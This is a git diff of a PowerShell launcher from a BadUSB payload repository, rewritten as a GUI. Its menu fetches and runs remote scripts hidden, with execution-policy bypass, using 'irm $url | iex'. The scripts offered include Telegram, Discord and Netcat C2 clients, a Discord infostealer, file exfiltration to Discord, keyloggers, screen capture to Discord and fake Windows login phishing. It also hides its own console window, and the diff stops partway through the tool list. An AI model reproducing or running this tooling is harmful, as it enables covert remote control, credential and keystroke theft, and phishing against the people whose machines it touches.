mirror of
https://github.com/beigeworm/BadUSB-Files-For-FlipperZero.git
synced 2025-12-26 12:51:19 -08:00
Update main.ps1
This commit is contained in:
@@ -1,199 +1,392 @@
|
||||
<#
|
||||
======================================= Beigeworm's Toolset ==========================================
|
||||
Add-Type -AssemblyName System.Windows.Forms
|
||||
Add-Type -AssemblyName System.Drawing
|
||||
Add-Type -AssemblyName Microsoft.VisualBasic
|
||||
[System.Windows.Forms.Application]::EnableVisualStyles()
|
||||
|
||||
https://is.gd/bwtool
|
||||
if ($dc.Length -eq 0){$dc = "https://discord.com/api/webhooks/..."} # Change this to open GUI with your details
|
||||
if ($tk.Length -eq 0){$tk = "MTE2MzEX4MP1ETOKEN1Ng.GKTKb_.rTP4s3tZLkIw89fuj4w890fhj9iiH"} # Change this to open GUI with your details
|
||||
if ($ch.Length -eq 0){$ch = "1207060610454516934"} # Change this to open GUI with your details
|
||||
if ($tg.Length -eq 0){$tg = "Ex4mP137eLeGr4m_4pI-B0t_T0k3N"} # Change this to open GUI with your details
|
||||
if ($NCurl.Length -eq 0){$NCurl = "192.168.0.1"} # Change this to open GUI with your details
|
||||
if ($DLurl.Length -eq 0){$DLurl = "https://github.com/user/repo/raw/main/yourfile.exe"} # Change this to open GUI with your details
|
||||
|
||||
SYNOPSIS
|
||||
All useful tools in one place.
|
||||
A selection of Powershell tools from this repo can be ran from this script.
|
||||
|
||||
USAGE
|
||||
1. Replace the URLS and TOKENS below. (they can also be added by running the script)
|
||||
2. Run the script and follow options in the console
|
||||
|
||||
INFO
|
||||
Closing this script will NOT close any scripts that were started from this script.
|
||||
Any background/hidden scripts eg. C2 clients will keep running.
|
||||
|
||||
#>
|
||||
|
||||
# Uncomment below (or def)
|
||||
#$dc = "DISCORD_WEBHOOK_HERE"
|
||||
#$ch = "PASTEBIN_URL_HERE"
|
||||
#$tg = "TELEGRAM_BOT_TOKEN"
|
||||
#$NCurl = "YOUR_NETCAT_IP_ADDRESS" # no port
|
||||
|
||||
$Host.UI.RawUI.BackgroundColor = "Black"
|
||||
Clear-Host
|
||||
[Console]::SetWindowSize(80, 35)
|
||||
[Console]::Title = "Beigeworm`'s Toolset"
|
||||
$Option = ''
|
||||
|
||||
function Header {
|
||||
cls
|
||||
$Header = "==============================================================================
|
||||
= __________ .__ ___________ .__ =
|
||||
= \______ \ ____ |__| ____ ___\__ ___/___ ____ | | ______ =
|
||||
= | | _// __ \| |/ ___\_/ __ \| | / _ \ / _ \| | / ___/ =
|
||||
= | | \ ___/| / /_/ > ___/| |( <_> | <_> ) |__\___ \ =
|
||||
= |______ /\___ >__\___ / \___ >____| \____/ \____/|____/____ > =
|
||||
= \/ \/ /_____/ \/ \/ =
|
||||
==============================================================================`n"
|
||||
Write-Host "$header" -ForegroundColor Green
|
||||
}
|
||||
|
||||
$list = "==============================================================================
|
||||
= =
|
||||
= C2 Clients System Tools =
|
||||
= 1. Telegram C2 Client 17. Find Text string in Files =
|
||||
= 2. Discord C2 Client 18. Minecraft Server Scanner =
|
||||
= 3. NetCat C2 Client 19. Console Task Manager =
|
||||
= 4. LAN Toolset 20. Dummy Folder Creator =
|
||||
= 21. Mouse Recorder / Player =
|
||||
= Encryption 22. Matrix Cascade =
|
||||
= 5. Encryptor 23. Github Repo Search & Invoke =
|
||||
= 6. Decryptor 24. Global Powershell Logging =
|
||||
= 25. Terminal Shortcut Creator =
|
||||
= GUI Tools 26. Text Cipher Tool =
|
||||
= 7. Filetype Finder 27. System Information to File =
|
||||
= 8. Screen Recorder 28. Day/Night Bliss Wallpaper =
|
||||
= 9. Network Enumeration 29. Environment Variable Encoder =
|
||||
= 10. Microphone Muter 30. Bad USB Detect & Protect =
|
||||
= 11. Webhook Spammer 31. USB Poison =
|
||||
= 12. Social Search 32. Browser DB Files Viewer =
|
||||
= 13. GDI effects =
|
||||
= 14. Mouse Recorder Discord Scripts =
|
||||
= 15. System Metrics 33. Discord Infostealer =
|
||||
= 16. PoSh Control (tray) 34. Exfiltrate to Discord =
|
||||
= 35. PS Trascription to Discord =
|
||||
= Login Phishing 36. Discord Keylogger =
|
||||
= 38. Windows 10 Login to DC 37. Record Screen to Discord =
|
||||
= 39. Windows 11 Login to DC =
|
||||
= Pranks =
|
||||
= 40. Windows Idiot Prank =
|
||||
= 99. Close Program 41. Memz in Powershell =
|
||||
= 00. Token and URL setup 42. Persistant Goose =
|
||||
= =
|
||||
==============================================================================
|
||||
"
|
||||
|
||||
Function EnterTokens{
|
||||
if (($dc.Length -eq 0) -or ($ch.Length -eq 0) -or ($tg.Length -eq 0) -or ($tk.Length -eq 0) -or ($NCurl.Length -eq 0)){Write-Host "Missing Entries Found." -ForegroundColor Red;sleep 1;cls;Header;Write-Host "Please enter the missing URLs and API Tokens" -ForegroundColor Yellow;Write-Host "You can leave these empty however functionality will be limited..`n" -ForegroundColor DarkGray;sleep 1}
|
||||
if ($dc.Length -eq 0){$dc = Read-Host "Enter a Discord Webhook ";Write-Host "Discord Webhook Set." -ForegroundColor Green}
|
||||
if ($tk.Length -eq 0){$tk = Read-Host "Enter Discord Bot Token ";Write-Host "Discord Bot Token Set." -ForegroundColor Green}
|
||||
if ($ch.Length -eq 0){$ch = Read-Host "Enter a Discord Channel ID ";Write-Host "Discord Channel ID Set." -ForegroundColor Green}
|
||||
if ($tg.Length -eq 0){$tg = Read-Host "Enter a Telegram Bot API Token ";Write-Host "Telegram API Token Set." -ForegroundColor Green}
|
||||
if ($NCurl.Length -eq 0){$NCurl = Read-Host "Enter an IPv4 address for Netcat";Write-Host "IPv4 address Set." -ForegroundColor Green}
|
||||
if ($DLurl.Length -eq 0){$DLurl = Read-Host "Enter a Direct Download File URL";Write-Host "File URL Set." -ForegroundColor Green}
|
||||
}
|
||||
|
||||
Header
|
||||
sleep 1
|
||||
Write-Host "Checking URLs and API Tokens" -ForegroundColor Yellow
|
||||
sleep 1
|
||||
EnterTokens
|
||||
|
||||
While ($true){
|
||||
cls
|
||||
Header
|
||||
Write-Host "$list" -ForegroundColor Green
|
||||
$Option = Read-Host "Choose an option "
|
||||
$BaseURL = "https://raw.githubusercontent.com/beigeworm/Powershell-Tools-and-Toys/main"
|
||||
$PoshcryptURL = "https://raw.githubusercontent.com/beigeworm/PoshCryptor/main"
|
||||
|
||||
if ($Option -eq '1'){$url = "https://raw.githubusercontent.com/beigeworm/PoshGram-C2/main/Telegram-C2-Client.ps1"}
|
||||
if ($Option -eq '2'){$url = "https://raw.githubusercontent.com/beigeworm/PoshCord-C2/main/Discord-C2-Client.ps1"}
|
||||
if ($Option -eq '3'){$url = "$BaseURL/NC-Func.ps1"}
|
||||
if ($Option -eq '4'){$url = "https://raw.githubusercontent.com/beigeworm/Posh-LAN/main/Posh-LAN-Tools.ps1"}
|
||||
if ($Option -eq '5'){$url = "$PoshcryptURL/Encryption/Encryptor.ps1"}
|
||||
if ($Option -eq '6'){$url = "$PoshcryptURL/Decryption/Decryptor-GUI.ps1"}
|
||||
if ($Option -eq '7'){$url = "$BaseURL/GUI%20Tools/Search-Folders-For-Filetypes-GUI.ps1"}
|
||||
if ($Option -eq '8'){$url = "$BaseURL/GUI%20Tools/Record-Screen-GUI.ps1"}
|
||||
if ($Option -eq '9'){$url = "$BaseURL/GUI%20Tools/Network%20Enumeration%20GUI.ps1"}
|
||||
if ($Option -eq '10'){$url = "$BaseURL/GUI%20Tools/Mute%20Microphone%20GUI.ps1"}
|
||||
if ($Option -eq '11'){$url = "$BaseURL/GUI%20Tools/Discord%20Webhook%20Spammer%20GUI.ps1"}
|
||||
if ($Option -eq '12'){$url = "$BaseURL/GUI%20Tools/Social%20Search%20GUI.ps1"}
|
||||
if ($Option -eq '13'){$url = "$BaseURL/GUI%20Tools/Desktop-GDI-Efects-GUI.ps1"}
|
||||
if ($Option -eq '14'){$url = "$BaseURL/GUI%20Tools/Mouse-Recorder-GUI.ps1"}
|
||||
if ($Option -eq '15'){$url = "$BaseURL/GUI%20Tools/System-Metrics-GUI.ps1"}
|
||||
if ($Option -eq '16'){$url = "https://raw.githubusercontent.com/beigeworm/PoSh-Control/main/PoSh-Control.ps1"}
|
||||
|
||||
if ($Option -eq '17'){$url = "$BaseURL/Misc/Find%20Text%20string%20in%20Files.ps1"}
|
||||
if ($Option -eq '18'){$url = "$BaseURL/Misc/Minecraft-Server-Scanner-and-Server-Info.ps1"}
|
||||
if ($Option -eq '19'){$url = "$BaseURL/Misc/Console-Task-Manager.ps1"}
|
||||
if ($Option -eq '20'){$url = "$BaseURL/Misc/Dummy-Folder-Creator.ps1"}
|
||||
if ($Option -eq '21'){$url = "$BaseURL/Misc/Mouse-Clicks-Recorder.ps1"}
|
||||
if ($Option -eq '22'){$url = "$BaseURL/Misc/Matrix-Cascade-in-Powershell.ps1"}
|
||||
if ($Option -eq '23'){$url = "$BaseURL/Misc/Github-Repo-PS-Search-and-Invoke.ps1"}
|
||||
if ($Option -eq '24'){$url = "$BaseURL/Misc/Global-PS-Logging.ps1"}
|
||||
if ($Option -eq '25'){$url = "$BaseURL/Misc/Terminal-Shortcut-Creator.ps1"}
|
||||
if ($Option -eq '26'){$url = "$BaseURL/Misc/Text-Cipher-Tool.ps1"}
|
||||
if ($Option -eq '27'){$url = "$BaseURL/Information%20Enumeration/Sys-Info-to-File.ps1"}
|
||||
if ($Option -eq '28'){$url = "$BaseURL/Misc/Day-Night-Bliss-Wallpaper-Schedulded.ps1"}
|
||||
if ($Option -eq '29'){$url = "$BaseURL/Misc/Environment-Variable-Encoder.ps1"}
|
||||
if ($Option -eq '30'){$url = "$BaseURL/Misc/BadUSB-Detect-and-Protect.ps1"}
|
||||
if ($Option -eq '31'){$url = "$BaseURL/Misc/USB-Poison.ps1"}
|
||||
if ($Option -eq '32'){$url = "$BaseURL/Information%20Enumeration/Browser-DB-File-Viewer.ps1"}
|
||||
|
||||
if ($Option -eq '33'){$url = "https://raw.githubusercontent.com/beigeworm/BadUSB-Files-For-FlipperZero/main/Discord-Infostealer/main.ps1"}
|
||||
if ($Option -eq '34'){$url = "https://raw.githubusercontent.com/beigeworm/BadUSB-Files-For-FlipperZero/main/Exfiltrate-to-Discord/main.ps1"}
|
||||
if ($Option -eq '35'){$url = "https://raw.githubusercontent.com/beigeworm/BadUSB-Files-For-FlipperZero/main/Global-PS-Trascription-to-Discord/main.ps1"}
|
||||
if ($Option -eq '36'){$url = "https://raw.githubusercontent.com/beigeworm/BadUSB-Files-For-FlipperZero/main/Discord-Keylogger/main.ps1"}
|
||||
if ($Option -eq '37'){$url = "https://raw.githubusercontent.com/beigeworm/BadUSB-Files-For-FlipperZero/main/Record-Screen-to-Discord/main.ps1"}
|
||||
|
||||
if ($Option -eq '38'){$url = "https://github.com/beigeworm/BadUSB-Files-For-FlipperZero/blob/main/Win10-Phishing/main.ps1"}
|
||||
if ($Option -eq '39'){$url = "https://github.com/beigeworm/BadUSB-Files-For-FlipperZero/blob/main/Win11-Phishing/main.ps1"}
|
||||
|
||||
if ($Option -eq '40'){$url = "$BaseURL/Pranks/Windows-Idiot-Prank.ps1"}
|
||||
if ($Option -eq '41'){$url = "$BaseURL/Pranks/PoshMEMZ-Prank.ps1"}
|
||||
if ($Option -eq '42'){$url = "$BaseURL/Pranks/Persistant-Goose.ps1"}
|
||||
|
||||
if ($Option -eq '99'){Write-Host "Closing Script";sleep 1; exit}
|
||||
else{Write-Host "No valid option selected."}
|
||||
|
||||
while ($Option -ne '99'){
|
||||
Header
|
||||
$HideURL = "https://raw.githubusercontent.com/beigeworm/assets/main/master/Hide-Powershell-Console.ps1"
|
||||
Write-Host "Selected Script URL - $url" -ForegroundColor Cyan
|
||||
Write-Host "Do NOT Continue Unless You Have Reviewed The Script!" -ForegroundColor Red
|
||||
Pause
|
||||
|
||||
if ($Option){
|
||||
|
||||
if ($Option -eq '00'){Write-Host "Entering Token and URL setup.." -ForegroundColor Yellow;sleep 1;EnterTokens;break}
|
||||
|
||||
if ($Option -eq '31'){
|
||||
if ($DLurl.Length -eq 0){$DLurl = Read-Host "Enter a Direct Download File URL";Write-Host "File URL Set." -ForegroundColor Green}
|
||||
Start-Process PowerShell.exe -ArgumentList ("-Ep Bypass -W Hidden -C `$DLurl = `'$DLurl`' ; irm $url | iex")
|
||||
break
|
||||
}
|
||||
|
||||
if (($Option -eq '4') -or ($Option -eq '30') -or ($Option -eq '32') -or ($Option -eq '16')){
|
||||
Start-Process PowerShell.exe -ArgumentList ("-Ep Bypass -C `$DLurl = `'$DLurl`' ; irm $url | iex") -Verb RunAs
|
||||
break
|
||||
}
|
||||
|
||||
|
||||
$hidden = Read-Host "Would you like to run this in a hidden window? (Y/N)"
|
||||
If ($hidden -eq 'y'){
|
||||
Start-Process PowerShell.exe -ArgumentList ("-Ep Bypass -W Hidden -C irm $HideURL | iex ; `$tg = `'$tg`' ; `$tk = `'$tk`' ; `$dc = `'$dc`' ; `$ch = `'$ch`' ; `$NCurl = `'$NCurl`' ; irm $url | iex")
|
||||
break
|
||||
}
|
||||
If ($hidden -eq 'n'){
|
||||
Start-Process PowerShell.exe -ArgumentList ("-Ep Bypass -C `$tg = `'$tg`' ; `$tk = `'$tk`' ; `$dc = `'$dc`' ; `$ch = `'$ch`' ; `$NCurl = `'$NCurl`' ; irm $url | iex")
|
||||
break
|
||||
}
|
||||
else{
|
||||
Write-Host "No valid option selected" -ForegroundColor Red
|
||||
break
|
||||
}
|
||||
}
|
||||
else{
|
||||
Write-Host "No valid option selected" -ForegroundColor Red
|
||||
break
|
||||
}
|
||||
break
|
||||
$hidewindow = 1
|
||||
If ($HideWindow -gt 0){
|
||||
$Async = '[DllImport("user32.dll")] public static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);'
|
||||
$Type = Add-Type -MemberDefinition $Async -name Win32ShowWindowAsync -namespace Win32Functions -PassThru
|
||||
$hwnd = (Get-Process -PID $pid).MainWindowHandle
|
||||
if($hwnd -ne [System.IntPtr]::Zero){
|
||||
$Type::ShowWindowAsync($hwnd, 0)
|
||||
}
|
||||
else{
|
||||
$Host.UI.RawUI.WindowTitle = 'hideme'
|
||||
$Proc = (Get-Process | Where-Object { $_.MainWindowTitle -eq 'hideme' })
|
||||
$hwnd = $Proc.MainWindowHandle
|
||||
$Type::ShowWindowAsync($hwnd, 0)
|
||||
}
|
||||
sleep 1
|
||||
}
|
||||
|
||||
$imageUrl = "https://i.ibb.co/ZGrt8qb/b-min.png"
|
||||
$client = New-Object System.Net.WebClient
|
||||
$imageBytes = $client.DownloadData($imageUrl)
|
||||
$ms = New-Object IO.MemoryStream($imageBytes, 0, $imageBytes.Length)
|
||||
|
||||
$form = New-Object System.Windows.Forms.Form
|
||||
$form.Text = " | Beigeworms's Toolset |"
|
||||
$form.Size = New-Object System.Drawing.Size(660,750)
|
||||
$form.Font = 'Microsoft Sans Serif,10'
|
||||
$form.BackgroundImage = [System.Drawing.Image]::FromStream($ms, $true)
|
||||
$form.BackColor = "#242424"
|
||||
|
||||
$dropdownHeader = New-Object System.Windows.Forms.Label
|
||||
$dropdownHeader.Text = "Select Tool Here"
|
||||
$dropdownHeader.ForeColor = "#bcbcbc"
|
||||
$dropdownHeader.AutoSize = $true
|
||||
$dropdownHeader.Width = 25
|
||||
$dropdownHeader.Height = 10
|
||||
$dropdownHeader.Location = New-Object System.Drawing.Point(20, 10)
|
||||
$form.Controls.Add($dropdownHeader)
|
||||
|
||||
$WebhookInputHeader = New-Object System.Windows.Forms.Label
|
||||
$WebhookInputHeader.Text = "Discord Webhook URL (For All Other Discord Scripts)"
|
||||
$WebhookInputHeader.ForeColor = "#bcbcbc"
|
||||
$WebhookInputHeader.AutoSize = $true
|
||||
$WebhookInputHeader.Width = 25
|
||||
$WebhookInputHeader.Height = 10
|
||||
$WebhookInputHeader.Location = New-Object System.Drawing.Point(20, 60)
|
||||
$form.Controls.Add($WebhookInputHeader)
|
||||
|
||||
$WebhookInput = New-Object System.Windows.Forms.TextBox
|
||||
$WebhookInput.Text = "$dc" # you can set this now for efficiency (optional)
|
||||
$WebhookInput.Location = New-Object System.Drawing.Point(20, 80)
|
||||
$WebhookInput.BackColor = "#eeeeee"
|
||||
$WebhookInput.Width = 600
|
||||
$WebhookInput.Height = 40
|
||||
$WebhookInput.Multiline = $false
|
||||
$form.Controls.Add($WebhookInput)
|
||||
|
||||
$TokenInputHeader = New-Object System.Windows.Forms.Label
|
||||
$TokenInputHeader.Text = "Telegram API Token (For PoshGram C2)"
|
||||
$TokenInputHeader.ForeColor = "#bcbcbc"
|
||||
$TokenInputHeader.AutoSize = $true
|
||||
$TokenInputHeader.Width = 25
|
||||
$TokenInputHeader.Height = 10
|
||||
$TokenInputHeader.Location = New-Object System.Drawing.Point(20, 110)
|
||||
$form.Controls.Add($TokenInputHeader)
|
||||
|
||||
$TGTokenInput = New-Object System.Windows.Forms.TextBox
|
||||
$TGTokenInput.Text = "$tg" # you can set this now for efficiency (optional)
|
||||
$TGTokenInput.Location = New-Object System.Drawing.Point(20, 130)
|
||||
$TGTokenInput.BackColor = "#eeeeee"
|
||||
$TGTokenInput.Width = 600
|
||||
$TGTokenInput.Height = 40
|
||||
$TGTokenInput.Multiline = $false
|
||||
$form.Controls.Add($TGTokenInput)
|
||||
|
||||
$DCTokenInputHeader = New-Object System.Windows.Forms.Label
|
||||
$DCTokenInputHeader.Text = "Discord BOT Token (For PoshCord C2)"
|
||||
$DCTokenInputHeader.ForeColor = "#bcbcbc"
|
||||
$DCTokenInputHeader.AutoSize = $true
|
||||
$DCTokenInputHeader.Width = 25
|
||||
$DCTokenInputHeader.Height = 10
|
||||
$DCTokenInputHeader.Location = New-Object System.Drawing.Point(20, 160)
|
||||
$form.Controls.Add($DCTokenInputHeader)
|
||||
|
||||
$DCTokenInput = New-Object System.Windows.Forms.TextBox
|
||||
$DCTokenInput.Text = "$tk" # you can set this now for efficiency (optional)
|
||||
$DCTokenInput.Location = New-Object System.Drawing.Point(20, 180)
|
||||
$DCTokenInput.BackColor = "#eeeeee"
|
||||
$DCTokenInput.Width = 600
|
||||
$DCTokenInput.Height = 40
|
||||
$DCTokenInput.Multiline = $false
|
||||
$form.Controls.Add($DCTokenInput)
|
||||
|
||||
$DCChanInputHeader = New-Object System.Windows.Forms.Label
|
||||
$DCChanInputHeader.Text = "Discord Channel ID (For PoshCord C2)"
|
||||
$DCChanInputHeader.ForeColor = "#bcbcbc"
|
||||
$DCChanInputHeader.AutoSize = $true
|
||||
$DCChanInputHeader.Width = 25
|
||||
$DCChanInputHeader.Height = 10
|
||||
$DCChanInputHeader.Location = New-Object System.Drawing.Point(20, 210)
|
||||
$form.Controls.Add($DCChanInputHeader)
|
||||
|
||||
$DCChanInput = New-Object System.Windows.Forms.TextBox
|
||||
$DCChanInput.Text = "$ch" # you can set this now for efficiency (optional)
|
||||
$DCChanInput.Location = New-Object System.Drawing.Point(20, 230)
|
||||
$DCChanInput.BackColor = "#eeeeee"
|
||||
$DCChanInput.Width = 600
|
||||
$DCChanInput.Height = 40
|
||||
$DCChanInput.Multiline = $false
|
||||
$form.Controls.Add($DCChanInput)
|
||||
|
||||
$NetcatHeader = New-Object System.Windows.Forms.Label
|
||||
$NetcatHeader.Text = "Netcat IPv4 Address"
|
||||
$NetcatHeader.ForeColor = "#bcbcbc"
|
||||
$NetcatHeader.AutoSize = $true
|
||||
$NetcatHeader.Width = 25
|
||||
$NetcatHeader.Height = 10
|
||||
$NetcatHeader.Location = New-Object System.Drawing.Point(20, 260)
|
||||
$form.Controls.Add($NetcatHeader)
|
||||
|
||||
$netcatInput = New-Object System.Windows.Forms.TextBox
|
||||
$netcatInput.Text = "$NCurl" # you can set this now for efficiency (optional)
|
||||
$netcatInput.Location = New-Object System.Drawing.Point(20, 280)
|
||||
$netcatInput.BackColor = "#eeeeee"
|
||||
$netcatInput.Width = 600
|
||||
$netcatInput.Height = 40
|
||||
$netcatInput.Multiline = $false
|
||||
$form.Controls.Add($netcatInput)
|
||||
|
||||
$DLfileHeader = New-Object System.Windows.Forms.Label
|
||||
$DLfileHeader.Text = "Direct Download File URL"
|
||||
$DLfileHeader.ForeColor = "#bcbcbc"
|
||||
$DLfileHeader.AutoSize = $true
|
||||
$DLfileHeader.Width = 25
|
||||
$DLfileHeader.Height = 10
|
||||
$DLfileHeader.Location = New-Object System.Drawing.Point(20, 310)
|
||||
$form.Controls.Add($DLfileHeader)
|
||||
|
||||
$DLfileInput = New-Object System.Windows.Forms.TextBox
|
||||
$DLfileInput.Text = "$DLurl" # you can set this now for efficiency (optional)
|
||||
$DLfileInput.Location = New-Object System.Drawing.Point(20, 330)
|
||||
$DLfileInput.BackColor = "#eeeeee"
|
||||
$DLfileInput.Width = 600
|
||||
$DLfileInput.Height = 40
|
||||
$DLfileInput.Multiline = $false
|
||||
$form.Controls.Add($DLfileInput)
|
||||
|
||||
$startButton = New-Object System.Windows.Forms.Button
|
||||
$startButton.Location = New-Object System.Drawing.Point(540, 30)
|
||||
$startButton.Size = New-Object System.Drawing.Size(80, 30)
|
||||
$startButton.Text = "Start"
|
||||
$startButton.BackColor = "#fff"
|
||||
$form.Controls.Add($startButton)
|
||||
|
||||
$infoButton = New-Object System.Windows.Forms.Button
|
||||
$infoButton.Location = New-Object System.Drawing.Point(450, 30)
|
||||
$infoButton.Size = New-Object System.Drawing.Size(80, 30)
|
||||
$infoButton.Text = "Info"
|
||||
$infoButton.BackColor = "#fff"
|
||||
$form.Controls.Add($infoButton)
|
||||
|
||||
$OutputHeader = New-Object System.Windows.Forms.Label
|
||||
$OutputHeader.Text = "Output"
|
||||
$OutputHeader.ForeColor = "#bcbcbc"
|
||||
$OutputHeader.AutoSize = $true
|
||||
$OutputHeader.Width = 25
|
||||
$OutputHeader.Height = 10
|
||||
$OutputHeader.Location = New-Object System.Drawing.Point(20, 360)
|
||||
$form.Controls.Add($OutputHeader)
|
||||
|
||||
$OutputBox = New-Object System.Windows.Forms.TextBox
|
||||
$OutputBox.Multiline = $True;
|
||||
$OutputBox.Location = New-Object System.Drawing.Point(20, 380)
|
||||
$OutputBox.Width = 600
|
||||
$OutputBox.Height = 300
|
||||
$OutputBox.Scrollbars = "Vertical"
|
||||
$form.Controls.Add($OutputBox)
|
||||
|
||||
$items = @(
|
||||
"Telegram C2 Client"
|
||||
"Discord C2 Client"
|
||||
"NetCat C2 Client"
|
||||
"LAN Toolset"
|
||||
"Encryptor"
|
||||
"Decryptor"
|
||||
"Filetype Finder GUI"
|
||||
"Screen Recorder GUI"
|
||||
"Network Enumeration GUI"
|
||||
"Microphone Muter GUI"
|
||||
"Webhook Spammer GUI"
|
||||
"Social Search GUI"
|
||||
"GDI effects GUI"
|
||||
"Mouse Recorder GUI"
|
||||
"System Metrics GUI"
|
||||
"PoSh Control (tray)"
|
||||
"Find Text string in Files"
|
||||
"Minecraft Server Scanner"
|
||||
"Console Task Manager"
|
||||
"Dummy Folder Creator"
|
||||
"Matrix Cascade"
|
||||
"Github Repo Search & Invoke"
|
||||
"Global Powershell Logging"
|
||||
"Terminal Shortcut Creator"
|
||||
"Text Cipher Tool"
|
||||
"System Information to File"
|
||||
"Day/Night Bliss Wallpaper"
|
||||
"Environment Variable Encoder"
|
||||
"Bad USB Detect & Protect"
|
||||
"USB Poison"
|
||||
"Browser DB Files Viewer"
|
||||
"Chrome Extension Keylogger to DC"
|
||||
"Discord Infostealer"
|
||||
"Exfiltrate to Discord"
|
||||
"PS Trascription to Discord"
|
||||
"Discord Keylogger"
|
||||
"Record Screen to Discord"
|
||||
"Windows 10 Login to DC"
|
||||
"Windows 11 Login to DC"
|
||||
"Windows Idiot Prank"
|
||||
"Memz in Powershell"
|
||||
"Persistant Goose"
|
||||
)
|
||||
|
||||
$dropdown = New-Object System.Windows.Forms.ComboBox
|
||||
$dropdown.Location = New-Object System.Drawing.Point(20, 30)
|
||||
$dropdown.Size = New-Object System.Drawing.Size(250, 30)
|
||||
$dropdown.Items.AddRange($items)
|
||||
$form.Controls.Add($dropdown)
|
||||
|
||||
Function Add-OutputBoxLine{
|
||||
Param ($outfeed)
|
||||
$OutputBox.AppendText("`r`n$outfeed")
|
||||
$OutputBox.Refresh()
|
||||
$OutputBox.ScrollToCaret()
|
||||
}
|
||||
|
||||
$startButton.Add_Click({
|
||||
$selectedItem = $dropdown.SelectedItem
|
||||
if($selectedItem.length -eq 0 ){Add-OutputBoxLine -Outfeed "Nothing Selected! Please choose a tool from the dropdown menu.";return}
|
||||
Add-OutputBoxLine -Outfeed "$selectedItem Selected"
|
||||
$BaseURL = "https://raw.githubusercontent.com/beigeworm/Powershell-Tools-and-Toys/main"
|
||||
$PoshcryptURL = "https://raw.githubusercontent.com/beigeworm/PoshCryptor/main"
|
||||
$HideURL = "https://raw.githubusercontent.com/beigeworm/assets/main/master/Hide-Terminal.ps1"
|
||||
$dc = $WebhookInput.Text
|
||||
$tk = $DCTokenInput.Text
|
||||
$ch = $DCChanInput.Text
|
||||
$tg = $TGTokenInput.Text
|
||||
$NCurl = $netcatInput.Text
|
||||
$DLurl = $DLfileInput.Text
|
||||
# Webhook shortened URL handler
|
||||
$dc = (irm $dc).url
|
||||
|
||||
|
||||
switch ($selectedItem) {
|
||||
"Telegram C2 Client" {$url = "https://raw.githubusercontent.com/beigeworm/PoshGram-C2/main/Telegram-C2-Client.ps1"}
|
||||
"Discord C2 Client" {$url = "https://raw.githubusercontent.com/beigeworm/PoshCord-C2/main/Discord-C2-Client.ps1"}
|
||||
"NetCat C2 Client" {$url = "$BaseURL/NC-Func.ps1";$hide = 1}
|
||||
"LAN Toolset" {$url = "https://raw.githubusercontent.com/beigeworm/Posh-LAN/main/Posh-LAN-Tools.ps1"}
|
||||
"Encryptor" {$url = "$PoshcryptURL/Encryption/Encryptor.ps1"}
|
||||
"Decryptor" {$url = "$PoshcryptURL/Decryption/Decryptor-GUI.ps1"}
|
||||
"Filetype Finder GUI" {$url = "$BaseURL/GUI%20Tools/Search-Folders-For-Filetypes-GUI.ps1";$hide = 1}
|
||||
"Screen Recorder GUI" {$url = "$BaseURL/GUI%20Tools/Record-Screen-GUI.ps1";$hide = 1}
|
||||
"Network Enumeration GUI" {$url = "$BaseURL/GUI%20Tools/Network%20Enumeration%20GUI.ps1";$hide = 1}
|
||||
"Microphone Muter GUI" {$url = "$BaseURL/GUI%20Tools/Mute%20Microphone%20GUI.ps1";$hide = 1}
|
||||
"Webhook Spammer GUI" {$url = "$BaseURL/GUI%20Tools/Discord%20Webhook%20Spammer%20GUI.ps1";$hide = 1}
|
||||
"Social Search GUI" {$url = "$BaseURL/GUI%20Tools/Social%20Search%20GUI.ps1";$hide = 1}
|
||||
"GDI effects GUI" {$url = "$BaseURL/GUI%20Tools/Desktop-GDI-Efects-GUI.ps1";$hide = 1}
|
||||
"Mouse Recorder GUI" {$url = "$BaseURL/GUI%20Tools/Mouse-Recorder-GUI.ps1";$hide = 1}
|
||||
"System Metrics GUI" {$url = "$BaseURL/GUI%20Tools/System-Metrics-GUI.ps1";$hide = 1}
|
||||
"PoSh Control (tray)" {$url = "https://raw.githubusercontent.com/beigeworm/PoSh-Control/main/PoSh-Control.ps1";$admin = 1}
|
||||
"Find Text string in Files" {$url = "$BaseURL/Misc/Find%20Text%20string%20in%20Files.ps1"}
|
||||
"Minecraft Server Scanner" {$url = "$BaseURL/Misc/Minecraft-Server-Scanner-and-Server-Info.ps1"}
|
||||
"Console Task Manager" {$url = "$BaseURL/Misc/Console-Task-Manager.ps1"}
|
||||
"Dummy Folder Creator" {$url = "$BaseURL/Misc/Dummy-Folder-Creator.ps1"}
|
||||
"Matrix Cascade" {$url = "$BaseURL/Misc/Matrix-Cascade-in-Powershell.ps1"}
|
||||
"Github Repo Search & Invoke" {$url = "$BaseURL/Misc/Github-Repo-PS-Search-and-Invoke.ps1"}
|
||||
"Global Powershell Logging" {$url = "$BaseURL/Misc/Global-PS-Logging.ps1"}
|
||||
"Terminal Shortcut Creator" {$url = "$BaseURL/Misc/Terminal-Shortcut-Creator.ps1"}
|
||||
"Text Cipher Tool" {$url = "$BaseURL/Misc/Text-Cipher-Tool.ps1"}
|
||||
"System Information to File" {$url = "$BaseURL/Information%20Enumeration/Sys-Info-to-File.ps1"}
|
||||
"Day/Night Bliss Wallpaper" {$url = "$BaseURL/Misc/Day-Night-Bliss-Wallpaper-Schedulded.ps1"}
|
||||
"Environment Variable Encoder" {$url = "$BaseURL/Misc/Environment-Variable-Encoder.ps1"}
|
||||
"Bad USB Detect & Protect" {$url = "$BaseURL/Misc/BadUSB-Detect-and-Protect.ps1";$admin = 1}
|
||||
"USB Poison" {$url = "$BaseURL/Misc/USB-Poison.ps1"}
|
||||
"Browser DB Files Viewer" {$url = "$BaseURL/Information%20Enumeration/Browser-DB-File-Viewer.ps1";$admin = 1}
|
||||
"Chrome Extension Keylogger to DC" {$url = "https://raw.githubusercontent.com/beigeworm/BadUSB-Files-For-FlipperZero/main/Chrome-Extension-Keylogger/main.ps1";$hide = 1}
|
||||
"Discord Infostealer" {$url = "https://raw.githubusercontent.com/beigeworm/BadUSB-Files-For-FlipperZero/main/Discord-Infostealer/main.ps1";$hide = 1}
|
||||
"Exfiltrate to Discord" {$url = "https://raw.githubusercontent.com/beigeworm/BadUSB-Files-For-FlipperZero/main/Exfiltrate-to-Discord/main.ps1";$hide = 1}
|
||||
"PS Trascription to Discord" {$url = "https://raw.githubusercontent.com/beigeworm/BadUSB-Files-For-FlipperZero/main/Global-PS-Trascription-to-Discord/main.ps1";$hide = 1}
|
||||
"Discord Keylogger" {$url = "https://raw.githubusercontent.com/beigeworm/BadUSB-Files-For-FlipperZero/main/Discord-Keylogger/main.ps1";$hide = 1}
|
||||
